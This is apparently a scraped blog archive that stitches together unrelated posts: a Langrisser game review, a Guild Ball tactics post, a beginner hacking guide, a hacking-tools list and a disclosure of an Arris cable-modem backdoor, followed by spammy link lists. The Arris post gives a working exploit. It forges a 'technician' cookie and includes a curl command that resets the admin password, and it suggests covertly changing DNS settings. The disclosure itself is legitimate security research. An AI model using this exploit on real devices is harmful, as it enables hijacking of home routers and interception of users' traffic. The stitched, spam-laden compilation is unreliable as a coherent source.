sexta-feira, 1 de maio de 2020

Langrisser I & II Review (NSW)

Written by Alexander O. Cuaycong and Anthony L. Cuaycong


Title: Langrisser I & II
Developer: Chara-ani Corporation
Publisher: NIS America
Genre: Strategy
Price: $49.99
Also Available On: PS4, Steam



There are undoubtedly those who will remember a promising tactics game by the name of Warsong. Released for the Sega Genesis, Warsong blended Japanese-role-playing-game mechanics with turn-based strategy gameplay, asking its players to not merely take control of several mighty heroes, but also direct whole armies into battle. At the time, the unique twist to the genre enabled it to stand out; it was able to use its much larger sense of scale to its advantage. Unlike other contemporary titles, it didn't just compel characters to fight; it likewise required players to manage troop composition, take care of commander levels, and watch their overall positioning on the battlefield to win the day.




Warsong was fun and innovative. Perhaps because it was also ahead of its time, it never really received a sequel — except in Japan, where it would continue to flourish well into the nineties, under the banner of Langrisser, its original name. Meanwhile, diehard supporters in the West tried to keep it alive via fan-made patches. It would take until 2018 for an official English release to appear, first in the form of the mobile game Langrisser by Zilong, and now, after nearly thirty years of silence, the release of Langrisser I & II for the Nintendo Switch, the Sony PlayStation 4, and the personal computer.

In Langrisser I & II, players are thrust into one of two stories available to play through: that of Ledin, prince of the kingdom of Baldea, and that of Elwin, his successor and Descendant of Light. In both stories, players must make good use of their wits to survive what trials await them. From roadside ambushes to desperate siege defenses, players must employ their commanders, the troops they have, and the terrain they fight on to outwit and outlast the forces of darkness.




As a remaster, Langrisser I & II features an updated story with modern English translations, updated art, new assets, and minor balance changes. That said, it promises to hew as close as possible to the original experience, and the effort to stay true to its roots shows. Plot points across both stories run as their predecessors did, and while they're undoubtedly uncomplicated, they don't take away from the gameplay. More than anything else, the capacity to finally play these classic games on a modern system more than outweighs any general clunkiness that show up on occasion.

From the very instant control is given, Langrisser I and II expect players to handle its simple but effective combat systems with surprising deftness. From defeating enemy bosses to facilitating daring escapes, missions are linear in their design, but never feel frustrating to go through, mostly because of the game's huge sense of scale; players don't just control named heroes, but also bring into battle hired mercenaries to serve as frontline soldiers in combat. As a result, players are free to choose from a multitude of strategies to achieve their objectives, with character experimentation feeling encouraged rather than stifled.




Backstopped by a robust progression system, where characters can level up, become stronger, and hire better, flashier mercenaries, Langrisser I and II's gameplay has the makings of a compelling, if forthright, strategy RPG — one that's able to provide players the right amount of challenge to keep their interest. And if that's not enough, the myriad branching paths more than give it a ton of replay value; the divergent routes add new commanders to play with, new scenes and dialogues to uncover, and new endings to unlock.

In fact, if there's any real negative to Langrisser I & II, it's the time it took for it to finally make its way to eighth-generation platforms. Other franchises in the genre, among them Fire Emblem and Valkyria Chronicles, have the remake option down pat, modernizing audio-visual presentations and adding new and interesting mechanics to the formula that initially helped them stand out in an already crowded space. Compared to these series, Langrisser I & II might be behind in the curve, but the mere fact that it's still able to give an immersive experience despite its somewhat dated game design attests to how fleshed out its original mechanics were, and how timeless its gameplay remains.




All in all, Langrisser I & II is a brilliant remaster of two decades-old games. And it's outstanding on either the Switch or the PS4. Beautifully remastered with little to no technical missteps, it boasts of excellent Japanese voiceovers and English translations, not to mention controls with nary a lag. And, for good measure, NIS America gives players the choice of retaining the original audio-visual presentation, or opting for the updated one, featuring new character designs and track arrangements. As with any remaster, it may be inherently unwieldy at times. Nonetheless, those steeped in RPG strategy will find it a can't-miss title that will have them staying around a while — a long, long while.



THE GOOD
  • Solid SRPG gameplay with good balance between strong characters and capable soldiers
  • Branching paths and multiple endings to unlock
  • Two unique and interesting stories to play through
  • High replay value

THE BAD
  • Can feel a bit clunky and simple compared to more modern titles
  • Lacks handholding
  • Inadequate explanations on mechanics


RATING: 9/10

Getting A Bit Of Everything In Guild Ball: The Union




Tuesday night is our game night out at Top Deck Games (aka Card Titan online if you're into Magic the Gathering) and last night was the first time I've been able to make one in a while. 

It was also the first night in a long time where I was able to get two whole games in, and it ended up being two Guild Ball games for me as the other Warmachine players had already paired off when I was done my first match. 

I decided I wanted to play more of my newly fleshed out Union as I'm probably most excited about playing them.  I figured I'd post about why I'm personally excited about them given my history and what I feel makes them strong. Please keep in mind, I'm no expert at the game so this is more of a layman's perspective. 

Why I'm Excited About Union

I can't talk about what makes me excited to play Union without talking about my previous teams in Guild Ball.  I started the game playing Brewers, and then picked up Engineers because well, I like beer, and I'm an Engineer.  

Brewers, especially when I picked them up, were more of a fighting team, and Engineers once they got reworked were more of a goal scoring team, so they'd make excellent compliments to each other, or so I thought.  Both teams also generally rely on a single captain more than the other. Brewers generally want to be playing Tapper and Engineers generally want to play Ballista. 

What I've found from playing both teams is that it's like playing the two extremes of the game. It's not quite as opposite as playing Butchers and Fishermen, but it's close enough to feel limiting.

Union by contrast can more easily play what the developers call a balanced game, looking to get 2 goals and 2 take-outs to get the 12 points to win the game.   This is probably why I'm more excited to play Blackheart as my Union captain compared to playing what most people consider to be the stronger Veteran Rage as my captain, though I do enjoy playing both. 

My First Dream Team

I wanted to make a team that had as much 2" Melee as possible while also being balanced.  Back in June of last year, it appeared that Union had a good 6 player lineup for this:

Blackheart, Strongbox, Harry, Mist, Benediction, Gutter

Then in July the nerfs came for Harry which toned the team's damage output way down, but I still feel as though these 6 players can make for a hell of a team. 

Blackheart can still score from very far away, using all kinds of dodge shenanigans to get in range for his 6" kick to nail a goal, quite likely at Tap-In range.  He also has Butchery which can give you +1 to damage results against the model hit, and with all non-mascots having 2" melee, it's not hard to stack crowd out's on the player you've hit with Butchery.  Strongbox add's +1 TAC in a 4" aura, which again can allow someone like Gutter to get in and do a massive amount of damage, but nearly anyone on the team can be made to hit hard enough to be a problem with that kind of setup. 

And then there's Mist. He's got to be one of my favorite models coming from playing Brewers and Engineers. Now that Slothecian models have been released, he gets a free 2" dodge if he's within 6" of Grace or Benediction. He has Acrobatics, so he's got a guaranteed 2" dodge.  He has 2" Melee which is fantastic on a striker, and he's got dodges for days.  A turn 1 goal with him when you're receiving is extremely easy to bang in, and with him kicking off it's not impossible to get in that scenario either if your opponent isn't very careful about it. 

The Extended Roster

Blackheart wasn't my first Union captain, that went to Veteran Rage, since I could buy him and Strongbox cheaply in a blister and I already had all the other models necessary to make a team with him at the time (a friend had given me an extra Mist model he had as payment for splitting a pizza on game night – damn Guild Ball is a cheap game to get into).  This gave me a 6 man of:

V. Rage, Strongbox, Avarice & Greed, Gutter, Mist, Harry

This team was far better before Harry and Avarice & Greed were nerfed, but now that I've fleshed out the guild there's a lot of flexibility on how you can build a solid Vet Rage team.

My 10 player lineup is now:

Blackheart, Vet Rage, Strongbox, Avarice & Greed, Gutter, Mist, Harry, Grace, Benediction, Decimate



As of last night, I tried out the following team for Rage and it worked well into Engineers:

Vet Rage, Strongbox, Mist, Gutter, Decimate, Grace

With this, I have three models with 3 dice kicks, and two models with an 8" kick.  While it seems like a lower Influence team at only generating 11 influence, it gets 2 influence for free to fuel Grace every turn.  This allows her to give a "free" Quick Foot to extend Rage's personal threat or to make Mist go even further to score a goal. 

Since it's a Vet Rage team, few people want to fight into it and so go for goals, allowing me to easily get snap back goals with Mist or if I'm receiving, get a very easy turn 1 goal with Mist.  Getting an early goal is a big deal for the team since the extra goal Influence goes a long way to helping Rage do what he wants to do.

It's hard to understate how deadly the team can be with Rage's Heroic or Legendary play and Strongbox's 4" Aura.  Last night I had a setup where Colossus (DEF 2, ARM 2, Tough Hide) was crowded out by Mist, Grace, and Strongbox. Rage popped his Legendary play and then charged in for free with Furious. On the wrap I got a Knockdown and did 4 damage.  I then spent 4 Influence on Red Fury, not making Rage attack, but making Strongbox, the friggin Turtle attack.  

The amount of damage it does in this situation is outrageous: 2 Base Attack, +1 from Shelling Out Aura, 3 Crowd Outs, +1 from Legendary Play, +1 dice from a DEF 2 model being knocked down is 8 total Dice for TAC and +1 to all damage results.  Since Strongbox only has a 2 deep playbook, he is able to wrap many times. Even with Tough Hide taking damage off of each result, I was still regularly pulling 5-6 damage per attack after Tough Hide. With 4 Red Fury attacks I easily took down one of the biggest models in the game with a little turtle.  He's like an honorary Teenage Mutant Ninja Turtle, I should try and paint a mask around his face.

Strengths and Weaknesses

One final thing that Union has over my other teams is that with my lineup I really can pick either Blackheart or Vet Rage and play two very different games, which is something relatively rare in Guild Ball. 

This isn't to say that the team is nothing but a power house, I actually lack a significant amount of resiliency that I normally have with a lot of Tough Hide models.  As it is a lot of my models are either 4/1 or 3/2, which is possibly better than average, but once they get knocked down or debuffed they will take a lot of damage very quickly.  So far my games with them have been good, but I intend to play a lot more with the team.

The only thing is…I really want to play more with my Engineers and even my Brewers since it feels like so much has changed in the game since I last played.  I'm definitely riding high on Guild Ball in general right now and it feels pretty good.

domingo, 26 de abril de 2020

How To Start | How To Become An Ethical Hacker

Are you tired of reading endless news stories about ethical hacking and not really knowing what that means? Let's change that!
This Post is for the people that:

  • Have No Experience With Cybersecurity (Ethical Hacking)
  • Have Limited Experience.
  • Those That Just Can't Get A Break


OK, let's dive into the post and suggest some ways that you can get ahead in Cybersecurity.
I receive many messages on how to become a hacker. "I'm a beginner in hacking, how should I start?" or "I want to be able to hack my friend's Facebook account" are some of the more frequent queries. Hacking is a skill. And you must remember that if you want to learn hacking solely for the fun of hacking into your friend's Facebook account or email, things will not work out for you. You should decide to learn hacking because of your fascination for technology and your desire to be an expert in computer systems. Its time to change the color of your hat 😀

 I've had my good share of Hats. Black, white or sometimes a blackish shade of grey. The darker it gets, the more fun you have.

If you have no experience don't worry. We ALL had to start somewhere, and we ALL needed help to get where we are today. No one is an island and no one is born with all the necessary skills. Period.OK, so you have zero experience and limited skills…my advice in this instance is that you teach yourself some absolute fundamentals.
Let's get this party started.
  •  What is hacking?
Hacking is identifying weakness and vulnerabilities of some system and gaining access with it.
Hacker gets unauthorized access by targeting system while ethical hacker have an official permission in a lawful and legitimate manner to assess the security posture of a target system(s)

 There's some types of hackers, a bit of "terminology".
White hat — ethical hacker.
Black hat — classical hacker, get unauthorized access.
Grey hat — person who gets unauthorized access but reveals the weaknesses to the company.
Script kiddie — person with no technical skills just used pre-made tools.
Hacktivist — person who hacks for some idea and leaves some messages. For example strike against copyright.
  •  Skills required to become ethical hacker.
  1. Curosity anf exploration
  2. Operating System
  3. Fundamentals of Networking
*Note this sites





More info


Top 10 Most Popular Ethical Hacking Tools (2019 Ranking)

     Top 10 powerful Hacking  Tools in 2019.       

If hacking is performed to identify the potential threats to a computer or network then it will be an ethical hacking.

Ethical hacking is also called penetration testing, intrusion testing, and red teaming.

Hacking is the process of gaining access to a computer system with the intention of fraud, data stealing, and privacy invasion etc., by identifying its weaknesses.

Ethical Hackers:

A person who performs the hacking activities is called a hacker.

There are six types of hackers:

  • The Ethical Hacker (White hat)
  • Cracker
  • Grey hat
  • Script kiddies
  • Hacktivist
  • Phreaker

A security professional who uses his/her hacking skills for defensive purposes is called an ethical hacker. To strengthen the security, ethical hackers use their skills to find vulnerabilities, document them, and suggest the ways to rectify them.

Companies that provide online services or those which are connected to the internet, must perform penetration testing by ethical hackers. Penetration testing is another name of ethical hacking. It can be performed manually or through an automation tool.

Ethical hackers work as an information security expert. They try to break the security of a computer system, network, or applications. They identify the weak points and based on that, they give advice or suggestions to strengthen the security.

Programming languages that are used for hacking include PHP, SQL, Python, Ruby, Bash, Perl, C, C++, Java, VBScript, Visual Basic, C Sharp, JavaScript, and HTML.

Few Hacking Certifications include:

  1. CEH
  2. GIAC
  3. OSCP
  4. CREST

Let's Explore!!

#1) Nmap

Nmap

Price: Free

Description:

Nmap is a security scanner, port scanner, as well as a network exploration tool. It is an open source software and is available for free.

It supports cross-platform. It can be used for network inventory, managing service upgrade schedules, and for monitoring host & service uptime. It can work for a single host as well as large networks. It provides binary packages for Linux, Windows, and Mac OS X.

Features: 

  • Nmap suite has:
    • Data transfer, redirection, and debugging tool(Ncat),
    • Scan results comparing utility(Ndiff),
    • Packet generation and response analysis tool (Nping),
    • GUI and Results viewer (Nping)
  • Using raw IP packets it can determine:
    • The available hosts on the network.
    • Their services offered by these available hosts.
    • Their OS.
    • Packet filters they are using.
    • And many other characteristics.

Best for: Nmap is best for scanning network. It is easy to use and fast as well.

Website: Nmap

******************

#2) Netsparker

Netsparker Vulnerability-Assessments-and-Penetration-Tests

Netsparker is a dead accurate ethical hacking tool, that mimics a hacker's moves to identify vulnerabilities such as SQL Injection and Cross-site Scripting in web applications and web APIs. 
 
Netsparker uniquely verifies the identified vulnerabilities proving they are real and not false positives, so you do not need to waste hours manually verifying the identified vulnerabilities once a scan is finished.
 
It is available as a Windows software and an online service.

******************

#3) Acunetix 

Acunetix Dashboard

Acunetix is a fully automated ethical hacking tool that detects and reports on over 4500 web application vulnerabilities including all variants of SQL Injection and XSS.

The Acunetix crawler fully supports HTML5 and JavaScript and Single-page applications, allowing auditing of complex, authenticated applications.

It bakes in advanced Vulnerability Management features right-into its core, prioritizing risks based on data through a single, consolidated view, and integrating the scanner's results into other tools and platforms.

=> Visit Acunetix Official Website

******************

#4) Metasploit

Metasploit

Price: Metasploit Framework is an open source tool and it can be downloaded for free. Metasploit Pro is a commercial product. Its free trial is available for 14 days. Contact the company to know more about its pricing details.

Description:


It is the software for penetration testing. Using Metasploit Framework, you can develop and execute exploit code against a remote machine. It supports cross-platform.

Features: 

  • It is useful for knowing about security vulnerabilities.
  • Helps in penetration testing.
  • Helps in IDS signature development.
  • You can create security testing tools.

Best For Building anti-forensic and evasion tools.

Website: Metasploit

#5) Aircrack-Ng

aircrack-ng

Price: Free

Description:

Aircrack-ng provides different tools for evaluating Wi-Fi network security.

All are command line tools. For Wi-Fi security, it focuses on monitoring, attacking, testing, and cracking. It supports Linux, Windows, OS X, Free BSD, NetBSD, OpenBSD, Solaris, and eComStation 2.

Features:


  • Aircrack-ng can focus on Replay attacks, de-authentication, fake access points, and others.
  • It supports exporting data to text files.
  • It can check Wi-Fi cards and driver capabilities.
  • It can crack WEP keys and for that, it makes use of FMS attack, PTW attack, and dictionary attacks.
  • It can crack WPA2-PSK and for that, it makes use of dictionary attacks.

Best For: Supports any wireless network interface controller.

Website: Aircrack-Ng

#6) Wireshark

Wireshark

Price: Free

Description:

Wireshark is a packet analyzer and can perform deep inspection of many protocols.

It supports cross-platform. It allows you to export the output to different file formats like XML, PostScript, CSV, and Plaintext. It provides the facility to apply coloring rules to packet list so that analysis will be easier and quicker. The above image will show the capturing of packets.

Features:

  • It can decompress the gzip files on the fly.
  • It can decrypt many protocols like IPsec, ISAKMP, and SSL/TLS etc.
  • It can perform live capture and offline analysis.
  • It allows you to browse the captured network data using GUI or TTY-mode TShark utility.

Best For: Analyzing data packets.

Website: Wireshark

#7) Ettercap

Ettercap

Price: Free.

Description:

Ettercap supports cross-platform. Using Ettercap's API, you can create custom plugins. Even with the proxy connection, it can do sniffing of HTTP SSL secured data.

Features:

  • Sniffing of live connections.
  • Content filtering.
  • Active and passive dissection of many protocols.
  • Network and host analysis.

Best For: It allows you to create custom plugins.

Website: Ettercap

#8) Maltego

Maltego

Price: The Community version, Maltego CE is available for free. Price for Maltego Classic is $999. Price for Maltego XL is $1999. These two products are for the desktop. Price for the server products like CTAS, ITDS, and Comms starts at $40000, which includes training as well.

Description:

Maltego is a tool for link analysis and data mining. It supports Windows, Linux, and Mac OS.

For the discovery of data from open sources and visualizing the information in graphical format, it provides the library of transforms. It performs real-time data-mining and information gathering.

Features:

  • Represents the data on node-based graph patterns.
  • Maltego XL can work with large graphs.
  • It will provide you the graphical picture, thereby telling you about the weak points and abnormalities of the network.

Best For: It can work with very large graphs.

Website: Maltego

#9) Nikto

Nikto

Price: Free

Description:

Nikto is an open source tool for scanning the web server.

It scans the web server for dangerous files, outdated versions, and particular version related problems. It saves the report in a text file, XML, HTML, NBE, and CSV file formats. Nikto can be used on the system which supports basic Perl installation. It can be used on Windows, Mac, Linux, and UNIX systems.

Features:

  • It can check web servers for over 6700 potentially dangerous files.
  • It has full HTTP proxy support.
  • Using Headers, favicons, and files, it can identify the installed software.
  • It can scan the server for outdated server components.

Best For: As a Penetration Testing tool.

Website: Nikto

#10) Burp Suite

BurpSuite

Price: It has three pricing plans. Community edition can be downloaded for free. Pricing for Enterprise edition starts at $3999 per year. Price of the Professional edition starts at $399 per user per year.

Description:

Burp Suite has a web vulnerability scanner and has advanced and essential manual tools.

It provides many features for web application security. It has three editions, community, enterprise, and professional. With community editions, it provides essential manual tools. With the paid versions it provides more features like Web vulnerabilities scanner.

Features:

  • It allows you to schedule and repeats the scan.
  • It scans for 100 generic vulnerabilities.
  • It uses out-of-band techniques (OAST).
  • It provides detailed custom advisory for the reported vulnerabilities.
  • It provides CI Integration.

Best For: Security testing.

Website: Burp Suite

#11) John The Ripper

John-the-Ripper

Price: Free

Description:

John the Ripper is a tool for password cracking. It can be used on Windows, DOS, and Open VMS. It is an open source tool. It is created for detecting weak UNIX passwords.

Features:

  • John the Ripper can be used to test various encrypted passwords.
  • It performs dictionary attacks.
  • It provides various password crackers in one package.
  • It provides a customizable cracker.

Best For: It is fast in password cracking.

Website:  John the Ripper

#12) Angry IP Scanner

AngryIPScanner

Price: Free

Description:

Angry IP Scanner is a tool for scanning the IP addresses and ports. It can scan both on local network and Internet. It supports Windows, Mac, and Linux operating systems.

Features:

  • It can export the result in many formats.
  • It is a command-line interface tool.
  • It is extensible with many data fetchers.

Website:  Angry IP Scanner

Conclusion

As explained here, Nmap is used for computer security and network management. It is good for scanning the network. Metasploit is also for security and is good for building anti-forensic and evasion tools.

Aircrack-Ng is a free packet sniffer & injector and supports cross-platform. Wireshark is a packet analyzer and is good in analyzing data packets. As per the reviews available online, people recommend using Nmap instead of Angry IP scanner as Angry IP Scanner comes with unwanted applications.

John the Ripper is fast in password cracking. Nikto is a good open source tool for penetration testing. Maltego presents the data in a graphical form and will give you information about weak points and abnormalities.

This was all about the ethical hacking and the top ethical hacking tools. Hope you will find this article to be much useful!!

@EVERYTHING NT

Related news


sábado, 25 de abril de 2020

Arris Cable Modem Backdoor - I'm A Technician, Trust Me.

Vendor backdoors are the worst. Sloppy coding leading to unintentional "bugdoors" is somewhat defendable, but flat out backdoors are always unacceptable. Todays example is brought to you by Arris. A great quote from their site -
Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.
Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW

After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):
Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9
 All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:
{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}
And after base64 decoding the "credential" value we get:
{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}
Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:
Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9
Which decodes to the following:
{"credential":"dGVjaG5pY2lhbjo="}
And finally:
{"credential":"technician:"} 
Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(




That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.

Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:


That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:


Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:
SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);
Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:
HTTP/1.1 200 OK
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}
What about setting a new value? Surely that will not work....



That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:


This functionality can be wrapped up in the following curl command:
curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'
Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.

The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this bug backdoor - you as the end user CANNOT update your device because the interface doesn't provide that functionality to you! Next level engineering.


Related links
  1. Ethical Hacking Course
  2. Hacking Con Buscadores
  3. Hacking Net
  4. Hacking Web
  5. Que Hay Que Estudiar Para Ser Hacker
  6. Cracker Informatico
  7. Hacking Ethical
  8. Hacking Software